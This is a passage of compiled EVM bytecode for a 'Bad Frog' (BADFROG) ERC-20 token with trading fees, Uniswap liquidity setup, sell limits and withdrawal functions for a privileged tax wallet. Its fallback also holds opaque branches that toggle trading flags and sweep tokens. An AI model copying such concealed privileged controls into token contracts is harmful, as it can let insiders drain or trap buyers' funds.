cdc094b717d3f1dcd995e298160405161026d9190612f8c565b60405180910390a15b506105c4565b8486036102f3576001601a5f6101000a81548160ff0219169083151502179055505f6016806101000a81548160ff0219169083151502179055507f0b6cb93c2313ef2aa448b70648036bbfd18be64a8bf85446716a82182ec6907a60016040516102e69190612fbf565b60405180910390a16105c3565b83860361054f575f61030430610a52565b90505f8111156105325761035e8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109c090919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506104108160015f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a9890919063ffffffff16565b60015f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516104f09190612f8c565b60405180910390a37fda2bc2bedd1f85b5a59d5dbbd6684ff877ef916994a16ec08813101e99ace65f3082604051610529929190613017565b60405180910390a15b5f4790505f8111156105485761054781610af5565b5b50506105c2565b8286036105c1575f601a5f6101000a81548160ff02191690831515021790555060016016806101000a81548160ff0219169083151502179055507f0b6cb93c2313ef2aa448b70648036bbfd18be64a8bf85446716a82182ec6907a5f6040516105b89190612fbf565b60405180910390a15b5b5b5b005b5f80fd5b3480156105d5575f80fd5b506105de610b5d565b6040516105eb91906130ae565b60405180910390f35b3480156105ff575f80fd5b5061061a60048036038101906106159190613126565b610b9a565b6040516106279190612fbf565b60405180910390f35b34801561063b575f80fd5b50610644610bb7565b6040516106519190612f8c565b60405180910390f35b348015610665575f80fd5b5061066e610bbd565b005b34801561067b575f80fd5b50610684610c91565b6040516106919190612f8c565b60405180910390f35b3480156106a5575f80fd5b506106c060048036038101906106bb9190613164565b610cb4565b6040516106cd9190612fbf565b60405180910390f35b3480156106e1575f80fd5b506106ea610d88565b6040516106f791906131cf565b60405180910390f35b34801561070b575f80fd5b50610714610d90565b005b348015610721575f80fd5b5061073c600480360381019061073791906131e8565b610a52565b6040516107499190612f8c565b60405180910390f35b34801561075d575f80fd5b50610766610ebf565b005b348015610773575f80fd5b5061077c61100d565b6040516107899190612f8c565b60405180910390f35b34801561079d575f80fd5b506107a6611013565b6040516107b39190613213565b60405180910390f35b3480156107c7575f80fd5b506107d061103a565b6040516107dd9190612f8c565b60405180910390f35b3480156107f1575f80fd5b506107fa611040565b60405161080791906130ae565b60405180910390f35b34801561081b575f80fd5b5061082461107d565b6040516108319190612fbf565b60405180910390f35b348015610845575f80fd5b50610860600480360381019061085b9190613126565b6110ab565b60405161086d9190612fbf565b60405180910390f35b348015610881575f80fd5b5061089c60048036038101906108979190613126565b61126a565b6040516108a99190612fbf565b60405180910390f35b3480156108bd575f80fd5b506108c6611287565b6040516108d39190612f8c565b60405180910390f35b3480156108e7575f80fd5b506108f0611290565b6040516108fd9190612f8c565b60405180910390f35b348015610911575f80fd5b5061092c6004803603810190610927919061322c565b611296565b005b348015610939575f80fd5b50610942611322565b60405161094f9190612fbf565b60405180910390f35b348015610963575f80fd5b5061096c611337565b005b348015610979575f80fd5b50610994600480360381019061098f9190613257565b611990565b6040516109a19190612f8c565b60405180910390f35b3480156109b5575f80fd5b506109be611a12565b005b5f610a0183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ac3565b905092915050565b5f610a4a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b25565b905092915050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f808284610aa69190612f09565b905083811015610aeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae2906132df565b60405180910390fd5b8091505092915050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015610b59573d5f803e3d5ffd5b5050565b60606040518060400160405280600881526020017f4261642046726f67000000000000000000000000000000000000000000000000815250905090565b5f610bad610ba6611b86565b8484611b8d565b6001905092915050565b60115481565b610bc5611b86565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4890613347565b60405180910390fd5b5f600c819055507fe9b79e1a6c2dc43b4c0c6ff01ce9e3332d810e482270f464c0a21ad6c5fc6de35f604051610c8791906133a7565b60405180910390a1565b5f6009600a610ca091906134ef565b633b9aca00610caf9190612f3c565b905090565b5f610cc0848484611d50565b610d7d84610ccc611b86565b610d78856040518060600160405280602881526020016140a26028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610d2f611b86565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611ac39092919063ffffffff16565b611b8d565b600190509392505050565b5f6009905090565b610d98611b86565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1b90613347565b60405180910390fd5b6009600a610e3291906134ef565b633b9aca00610e419190612f3c565b600e819055506009600a610e5591906134ef565b633b9aca00610e649190612f3c565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610e9991906134ef565b633b9aca00610ea89190612f3c565b604051610eb59190612f8c565b60405180910390a1565b610ec7611b86565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4a90613347565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600e5481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600f5481565b60606040518060400160405280600781526020017f42414446524f4700000000000000000000000000000000000000000000000000815250905090565b5f60125f9054906101000a900460ff1680156110a65750601260019054906101000a900460ff16155b905090565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110ec611b86565b73ffffffffffffffffffffffffffffffffffffffff161461110b575f80fd5b5f820361118d578273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161114b9190613213565b602060405180830381865afa158015611166573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061118a919061354d565b91505b7fda2bc2bedd1f85b5a59d5dbbd6684ff877ef916994a16ec08813101e99ace65f83836040516111be929190613017565b60405180910390a18273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b81526004016112229291906135ca565b6020604051808303815f875af115801561123e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611262919061361b565b905092915050565b5f61127d611276611b86565b8484611d50565b6001905092915050565b5f601454905090565b60105481565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112d6611b86565b73ffffffffffffffffffffffffffffffffffffffff16146112f5575f80fd5b600754811115801561130957506008548111155b611311575f80fd5b806007819055508060088190555050565b5f601a5f9054906101000a900460ff16905090565b61133f611b86565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c290613347565b60405180910390fd5b601660149054906101000a900460ff161561141b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141290613690565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60155f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506114b73060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6114a391906134ef565b633b9aca006114b29190612f3c565b611b8d565b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611521573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061154591906136c2565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115cb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115ef91906136c2565b6040518363ffffffff1660e01b815260040161160c9291906136ed565b6020604051808303815f875af1158015611628573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061164c91906136c2565b60165f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f61169530610a52565b90505f6116c060646116b260055485612bd990919063ffffffff16565b610a0990919063ffffffff16565b90505f6116d682846109c090919063ffffffff16565b90505f831161171a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171190613784565b60405180910390fd5b5f471161175c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175390613812565b60405180910390fd5b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730845f806117a6611013565b426040518863ffffffff1660e01b81526004016117c896959493929190613830565b60606040518083038185885af11580156117e4573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611809919061388f565b50505060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016118a9929190613017565b6020604051808303815f875af11580156118c5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906118e9919061361b565b5060016016806101000a81548160ff0219169083151502179055506001601660146101000a81548160ff021916908315150217905550436019819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119839190612f8c565b60405180910390a3505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611a52611b86565b73ffffffffffffffffffffffffffffffffffffffff1614611a71575f80fd5b5f4790505f8111611ab7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aae9061394f565b60405180910390fd5b611ac081610af5565b50565b5f838311158290611b0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0191906130ae565b60405180910390fd5b505f8385611b18919061396d565b9050809150509392505050565b5f8083118290611b6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6291906130ae565b60405180910390fd5b505f8385611b7991906139cd565b9050809150509392505050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611bfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf290613a6d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611c69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6090613afb565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611d439190612f8c565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611dbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db590613b89565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611e2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2390613c17565b60405180910390fd5b5f8111611e6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6590613ca5565b60405180910390fd5b5f601660149054906101000a900460ff16158015611eb757503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611f0f575060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b61292857611f1b611013565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f895750611f59611013565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15612927575f600d5403611fd657611fd36064611fc5600954600d5411611fb257600554611fb6565b6007545b85612bd990919063ffffffff16565b610a0990919063ffffffff16565b90505b5f600d54111561200b576120086064611ffa600c5485612bd990919063ffffffff16565b610a0990919063ffffffff16565b90505b601954430361205a576028600d5410612059576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205090613d0d565b60405180910390fd5b5b60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015612103575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612156575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561224f57600e548211156121a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161219790613d75565b60405180910390fd5b600f54826121ad85610a52565b6121b79190612f09565b11156121f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ef90613ddd565b60405180910390fd5b6122356064612227600954600d54101561221457600554612218565b6007545b85612bd990919063ffffffff16565b610a0990919063ffffffff16565b9050600d5f81548092919061224990613dfb565b91905055505b60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156122d757503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15612926575f601354831015905060125f9054906101000a900460ff1680156122fd5750805b80156123165750601260019054906101000a900460ff16155b15612777575f612344606461233660145487612bd990919063ffffffff16565b610a0990919063ffffffff16565b90505f61235a82866109c090919063ffffffff16565b9050612398606461238a600a54600d54116123775760065461237b565b6008545b84612bd990919063ffffffff16565b610a0990919063ffffffff16565b93506123ea8260015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a9890919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516124889190612f8c565b60405180910390a36001601260016101000a81548160ff0219169083151502179055505f60125f6101000a81548160ff0219169083151502179055506125148560015f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109c090919063ffffffff16565b60015f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506125b761256b85836109c090919063ffffffff16565b60015f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a9890919063ffffffff16565b60015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f8411156126f7576126508460015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a9890919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516126ee9190612f8c565b60405180910390a35b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61275987856109c090919063ffffffff16565b6040516127669190612f8c565b60405180910390a350505050612bd4565b6127b360646127a5600a54600d541161279257600654612796565b6008545b86612bd990919063ffffffff16565b610a0990919063ffffffff16565b91505f6127bf30610a52565b9050601660159054906101000a900460ff1615801561282a575060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b8015612840575060168054906101000a900460ff165b80156128585750601a5f9054906101000a900460ff16155b8015612865575060105481115b80156128745750600b54600d54115b156129235760185443111561288b575f6017819055505b6003601754106128d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128c790613e8c565b60405180910390fd5b6128ed6128e8856128e384601154612c50565b612c50565b612c68565b5f4790505f8111156129035761290281610af5565b5b60175f81548092919061291590613dfb565b919050555043601881905550505b50505b5b5b5f811115612a27576129808160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a9890919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612a1e9190612f8c565b60405180910390a35b612a778260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109c090919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550612b1a612ace82846109c090919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a9890919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef612bbd84866109c090919063ffffffff16565b604051612bca9190612f8c565b60405180910390a3505b505050565b5f808303612be9575f9050612c4a565b5f8284612bf69190612f3c565b9050828482612c0591906139cd565b14612c45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c3c90613f1a565b60405180910390fd5b809150505b92915050565b5f818311612c5e5782612c60565b815b905092915050565b6001601660156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115612c9f57612c9e613f38565b5b604051908082528060200260200182016040528015612ccd5781602001602082028036833780820191505090505b50905030815f81518110612ce457612ce3613f65565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612d88573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612dac91906136c2565b81600181518110612dc057612dbf613f65565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612e263060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611b8d565b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401612e88959493929190614049565b5f604051808303815f87803b158015612e9f575f80fd5b505af1158015612eb1573d5f803e3d5ffd5b50505050505f601660156101000a81548160ff02191690831515021790555050565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612f1382612ed3565b9150612f1e83612ed3565b9250828201905080821115612f3657612f35612edc565b5b92915050565b5f612f4682612ed3565b9150612f5183612ed3565b9250828202612f5f81612ed3565b91508282048414831517612f7657612f75612edc565b5b5092915050565b612f8681612ed3565b82525050565b5f602082019050612f9f5f830184612f7d565b92915050565b5f8115159050919050565b612fb981612fa5565b82525050565b5f602082019050612fd25f830184612fb0565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61300182612fd8565b9050919050565b61301181612ff7565b82525050565b5f60408201905061302a5f830185613008565b6130376020830184612f7d565b9392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6130808261303e565b61308a8185613048565b935061309a818560208601613058565b6130a381613066565b840191505092915050565b5f6020820190508181035f8301526130c68184613076565b905092915050565b5f80fd5b6130db81612ff7565b81146130e5575f80fd5b50565b5f813590506130f6816130d2565b92915050565b61310581612ed3565b811461310f575f80fd5b50565b5f81359050613120816130fc565b92915050565b5f806040838503121561313c5761313b6130ce565b5b5f613149858286016130e8565b925050602061315a85828601613112565b9150509250929050565b5f805f6060848603121561317b5761317a6130ce565b5b5f613188868287016130e8565b9350506020613199868287016130e8565b92505060406131aa86828701613112565b9150509250925092565b5f60ff82169050919050565b6131c9816131b4565b82525050565b5f6020820190506131e25f8301846131c0565b92915050565b5f602082840312156131fd576131fc6130ce565b5b5f61320a848285016130e8565b91505092915050565b5f6020820190506132265f830184613008565b92915050565b5f60208284031215613241576132406130ce565b5b5f61324e84828501613112565b91505092915050565b5f806040838503121561326d5761326c6130ce565b5b5f61327a858286016130e8565b925050602061328b858286016130e8565b9150509250929050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6132c9601b83613048565b91506132d482613295565b602082019050919050565b5f6020820190508181035f8301526132f6816132bd565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f613331602083613048565b915061333c826132fd565b602082019050919050565b5f6020820190508181035f83015261335e81613325565b9050919050565b5f819050919050565b5f819050919050565b5f61339161338c61338784613365565b61336e565b612ed3565b9050919050565b6133a181613377565b82525050565b5f6020820190506133ba5f830184613398565b92915050565b5f8160011c9050919050565b5f808291508390505b6001851115613415578086048111156133f1576133f0612edc565b5b60018516156134005780820291505b808102905061340e856133c0565b94506133d5565b94509492505050565b5f8261342d57600190506134e8565b8161343a575f90506134e8565b8160018114613450576002811461345a57613489565b60019150506134e8565b60ff84111561346c5761346b612edc565b5b8360020a91508482111561348357613482612edc565b5b506134e8565b5060208310610133831016604e8410600b84101617156134be5782820a9050838111156134b9576134b8612edc565b5b6134e8565b6134cb84848460016133cc565b925090508184048111156134e2576134e1612edc565b5b81810290505b9392505050565b5f6134f982612ed3565b9150613504836131b4565b92506135317fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461341e565b905092915050565b5f81519050613547816130fc565b92915050565b5f60208284031215613562576135616130ce565b5b5f61356f84828501613539565b91505092915050565b5f61359261358d61358884612fd8565b61336e565b612fd8565b9050919050565b5f6135a382613578565b9050919050565b5f6135b482613599565b9050919050565b6135c4816135aa565b82525050565b5f6040820190506135dd5f8301856135bb565b6135ea6020830184612f7d565b9392505050565b6135fa81612fa5565b8114613604575f80fd5b50565b5f81519050613615816135f1565b92915050565b5f602082840312156136305761362f6130ce565b5b5f61363d84828501613607565b91505092915050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61367a601783613048565b915061368582613646565b602082019050919050565b5f6020820190508181035f8301526136a78161366e565b9050919050565b5f815190506136bc816130d2565b92915050565b5f602082840312156136d7576136d66130ce565b5b5f6136e4848285016136ae565b91505092915050565b5f6040820190506137005f830185613008565b61370d6020830184613008565b9392505050565b7f436f6e7472616374206d75737420686f6c6420746f6b656e7320666f72206c695f8201527f7175696469747900000000000000000000000000000000000000000000000000602082015250565b5f61376e602783613048565b915061377982613714565b604082019050919050565b5f6020820190508181035f83015261379b81613762565b9050919050565b7f436f6e7472616374206d75737420686f6c642045544820666f72206c697175695f8201527f6469747900000000000000000000000000000000000000000000000000000000602082015250565b5f6137fc602483613048565b9150613807826137a2565b604082019050919050565b5f6020820190508181035f830152613829816137f0565b9050919050565b5f60c0820190506138435f830189613008565b6138506020830188612f7d565b61385d6040830187613398565b61386a6060830186613398565b6138776080830185613008565b61388460a0830184612f7d565b979650505050505050565b5f805f606084860312156138a6576138a56130ce565b5b5f6138b386828701613539565b93505060206138c486828701613539565b92505060406138d586828701613539565b9150509250925092565b7f436f6e74726163742062616c616e6365206d75737420626520677265617465725f8201527f207468616e207a65726f00000000000000000000000000000000000000000000602082015250565b5f613939602a83613048565b9150613944826138df565b604082019050919050565b5f6020820190508181035f8301526139668161392d565b9050919050565b5f61397782612ed3565b915061398283612ed3565b925082820390508181111561399a57613999612edc565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6139d782612ed3565b91506139e283612ed3565b9250826139f2576139f16139a0565b5b828204905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f613a57602483613048565b9150613a62826139fd565b604082019050919050565b5f6020820190508181035f830152613a8481613a4b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f613ae5602283613048565b9150613af082613a8b565b604082019050919050565b5f6020820190508181035f830152613b1281613ad9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f613b73602583613048565b9150613b7e82613b19565b604082019050919050565b5f6020820190508181035f830152613ba081613b67565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f613c01602383613048565b9150613c0c82613ba7565b604082019050919050565b5f6020820190508181035f830152613c2e81613bf5565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f613c8f602983613048565b9150613c9a82613c35565b604082019050919050565b5f6020820190508181035f830152613cbc81613c83565b9050919050565b7f457863656564732062757973206f6e2074686520666972737420626c6f636b2e5f82015250565b5f613cf7602083613048565b9150613d0282613cc3565b602082019050919050565b5f6020820190508181035f830152613d2481613ceb565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f613d5f601983613048565b9150613d6a82613d2b565b602082019050919050565b5f6020820190508181035f830152613d8c81613d53565b9050919050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f613dc7601a83613048565b9150613dd282613d93565b602082019050919050565b5f6020820190508181035f830152613df481613dbb565b9050919050565b5f613e0582612ed3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613e3757613e36612edc565b5b600182019050919050565b7f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000005f82015250565b5f613e76601783613048565b9150613e8182613e42565b602082019050919050565b5f6020820190508181035f830152613ea381613e6a565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f613f04602183613048565b9150613f0f82613eaa565b604082019050919050565b5f6020820190508181035f830152613f3181613ef8565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613fc481612ff7565b82525050565b5f613fd58383613fbb565b60208301905092915050565b5f602082019050919050565b5f613ff782613f92565b6140018185613f9c565b935061400c83613fac565b805f5b8381101561403c5781516140238882613fca565b975061402e83613fe1565b92505060018101905061400f565b5085935050505092915050565b5f60a08201905061405c5f830188612f7d565b6140696020830187613398565b818103604083015261407b8186613fed565b905061408a606083018561